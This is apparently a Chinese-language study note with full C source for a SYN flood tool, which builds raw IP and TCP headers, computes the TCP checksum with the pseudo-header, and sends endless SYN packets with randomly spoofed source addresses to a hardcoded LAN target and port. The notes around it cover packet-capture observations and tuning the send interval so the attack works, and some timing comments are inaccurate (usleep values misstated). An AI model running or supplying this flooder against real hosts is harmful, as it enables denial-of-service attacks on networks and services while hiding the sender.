写在前面的:
1,在 socket(AF_INET,SOCK_RAW,IPPROTO_TCP)中,发出去的包会帮你计算ip的校验和,故在填充ip包头的时候可以不用管,也可设置为0,
但是tcp的校验和需要自己计算,且如果计算不对的话,可能达不到效果。
2,tcp的校验和还要包括伪首部,这是很重要的,否则计算也不对。
3,重发时间大概在 1.19 1.60 3.20 3.60 10.20 10.60 15.60 31.60
4,在ip 的identication字段,填写的是
⑤标识 (Identification):占 16位。
IP软件在存储器中维持一个计数器,每产生一个数据报,
计数器就加 1,并将此值赋给标识字段。但这个“标识”并不是序号,
因为 IP是无连接的服务,数据报不存在按序接收的问题。
当数据报由于长度超过网络的 MTU 而必须分片时,
这个标识字段的值就被复制到所有的数据报的标识字段中。
相同的标识字段的值使分片后的各数据报片最后能正确地重装成为
原来的数据报。
在我发出去的每个包,即SYN包,id字段是递增的(从某个数开始,好像是6375吧),
但是,target回包的时候(SYN+ACK),这个字段都是0,为什么呢???(我知道了,是不是SYN+ACK)是很小的,不可能分片,故不需要这个id来重组。。。,只需要看见ip.src和ip.dst就可以)。
4,在用wireshark抓包的时候,会有个stream index字段(这个字段在包里面是没有的,它是ws自己添加的)功能是,标识每一次对话(ipa,porta,ipb,portb),如果多个包的双方都是一次对话,那么他的stream index就是一致的。即一次对话。
the stream index is an internal Wireshark mapping to: [IP address A, TCP port A, IP address B, TCP port B]
All the packets for the same tcp.stream value should have the same values for these fields (though the src/dest will be switched for A->B and B->A packets)
see the Statistics/Conversations/TCP tab in Wireshark to show a summary of these streams
http://stackoverflow.com/questions/6076897/follow-tcp-stream-where-does-field-stream-index-come-from
Statistics/Conversations/TCP
Statistics/Conversations/endpoints/tcp
可以看到这些索引号对应的数据流
5知道了,我发出去的包,没有回应的都是多播地址,超过224.0.0.0就不会回应了。。。。
6,还发现,如果发包太快,接收方不会持续re包,只会相应一次。。。把时间调到1秒间隔,效果相当好。
但是,达不到攻击要求,故还需要精确的间隔。如0.5秒。但是sleep做不到,用usleep可以精确到微妙。usleep(1000)表示0.1秒,即1毫秒,1000微秒。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <linux/tcp.h>
#include <netdb.h>
#include <time.h>
#define oops(msg){perror(msg);exit(0);}
void attack(int sockfd,struct sockaddr_in *target);
// 攻击函数,target为目标地址
unsigned short check_sum(unsigned short *addr,int prelen,int len);
// tcp校验和函数,因为校验和还要有伪首部,prelen是计算伪首部部分的参数,
// 伪首部包括ipsrc,ipdst,ip协议(这里是tcp,故为0x06),tcp长度
int main(int ac,char**av)
{
/* 得到原始套接子,让自己构造的包能够发送出去。
//这种套接子可以自己构造tcp,且ip部分的校验和是由内核帮你完成的
不用计算ip校验和。*/
int sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
oops("socket");
const int on=1;
if(ac!=2)
oops("usage:dstport");//dstport为扫描得到的target的开放端口。
struct sockaddr_in target;
/*构造攻击的目标地址 */
bzero(&target,sizeof(target));
target.sin_family=AF_INET;
target.sin_port=htons(atoi(av[1]));
if(inet_aton("192.168.1.101",&target.sin_addr)==0)
oops("aton");
/* 设置套接子的IP_HDRINCL选项,打开该选项,可以手动构造ip头部,
* 且ip头部的校验和由内核维护。
* 如果不打开该选项,ip首部不能够手动构造,是内核维护的,首部中的协议
* 字段设置为调用socket函数时传递的第三个参数*/
if((setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)))<0)
oops("setsocketopt");
/*一切就绪,开始像目标主机发包攻击*/
attack(sockfd,&target);
}
void attack(int sockfd,struct sockaddr_in *target)
{
char buff[128]={0};//初始化包。
struct ip *ip; //其实这里也可也用struct iphdr,不过struct ip 兼容性更好
struct tcphdr *tcp;
int ip_len;// 整个ip包长度(不含mac等)
ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
/*构造ip头部*/
ip=(struct ip*)buff;
ip->ip_v=IPVERSION;
ip->ip_hl=sizeof(struct ip)>>2;//ip首部长度以4字节为单位,这里故除以4
ip->ip_tos=0;
ip->ip_len=htons(ip_len);//这里注意字节序列的切换,因为ip_len是2字节的
ip->ip_id=0;//表示校验和由内核维护。
//这里的id通常情况下是表示同一个ip包的各个分片的标识。这里设为0,由内核
//维护。
ip->ip_ttl=MAXTTL;
ip->ip_p=IPPROTO_TCP;
ip->ip_sum=0;//校验和设为0;
//这里的DF,MF,段偏移等字段没有设置,默认初始化0,没有问题。
ip->ip_dst=target->sin_addr;//将target的地址填入包中。
/*构造tcp头部*/
tcp=(struct tcphdr*)(buff+sizeof(struct ip));
tcp->source=htons(4000);//这里默认本地端口为4000;
tcp->dest=target->sin_port;
tcp->seq=0;
tcp->doff=5;//这个字段是头部偏移字段,占4位,表示头部的长度,
//以4字节为单位,这里tcp头部20字节,填入5(没有任何选项)
tcp->syn=1;//syn字段,占1位,其余flags默认0.
tcp->check=0;//这里的校验和要先填入0,不然在计算校验和时会陷入鸡生蛋,蛋生鸡的问题。
/*包已经大部分构造好了,还差ip.src和tcp校验和,这里采取的随机生成
* ip.src,故校验和要计算,每次随机生成ip.src,就发包。*/
while(1)
{
srand(time(0));//随机种子,不然每次随机都是一样的。
ip->ip_src.s_addr=random();//这里不用关心字节顺序,反正是随机的。
printf("random ip %s\n",inet_ntoa(ip->ip_src));//可以打印看看。
/*参数解释,其中6是指跨越ip首部的6个short型,到达ip.src的位置,
* 8是指,参与tcp的伪首部,包括ip.src,ip.dst,共8个short。
* 当然,伪首部还有协议类型和tcp长度,这里在后面细说,
* 20,指tcp头部长度。*/
tcp->check=0;//很重要,如果不初始化,那么后面的包会隔一个就校验和为0,然后隔一个正确//探索了好久,打印了n多信息才发现。。
tcp->check=check_sum(((unsigned short*)ip+6),8,20);
sendto(sockfd,buff,ip_len,0,(struct sockaddr*)target,
sizeof(struct sockaddr_in));
}
}
unsigned short check_sum(unsigned short *addr,int prelen,int len)
{
usleep(100000);//停留1毫秒,这个后面解释。
unsigned long sum=0;
/*伪首部之ip部分*/
while(prelen>1)
{
sum+=*addr++;
prelen-=sizeof(unsigned short);
}
if(prelen)
sum+=*(unsigned char*)addr;
/*伪首部之协议类型和tcp长度*/
sum=sum+htons(0x0006)+htons(0x0014);
//0x0006即tcp协议,0x0014即tcp长度20.注意,这里长度包括tcp的数据
//部分,但这里没有数据,只有头部。且这两个数据要单方面计算,不能组合。
/*校验和的tcp部分*/
while(len>1)
{
sum+=*addr++;
len-=sizeof(unsigned short);
}
if(len)
sum+=*(unsigned char*)addr;
/*校验和是short型,若超过了,要处理*/
while(sum>>16)
sum=(sum>>16)+(sum&0xffff);
return (unsigned short)~sum;
}
/*这个程序可以实现已知攻击者的ip和开放端口的攻击,
* 但通过试验发现,如果发包频率为1个/s,那么可以看到target会连续的
* 会送相应的SYN+ACK包,可以达到效果,但这基本上起步到作用。
* 但是,如果发包太快,发现target只会响应一次ACK+SYN(针对每个包)
* 我也不知道是什么情况*/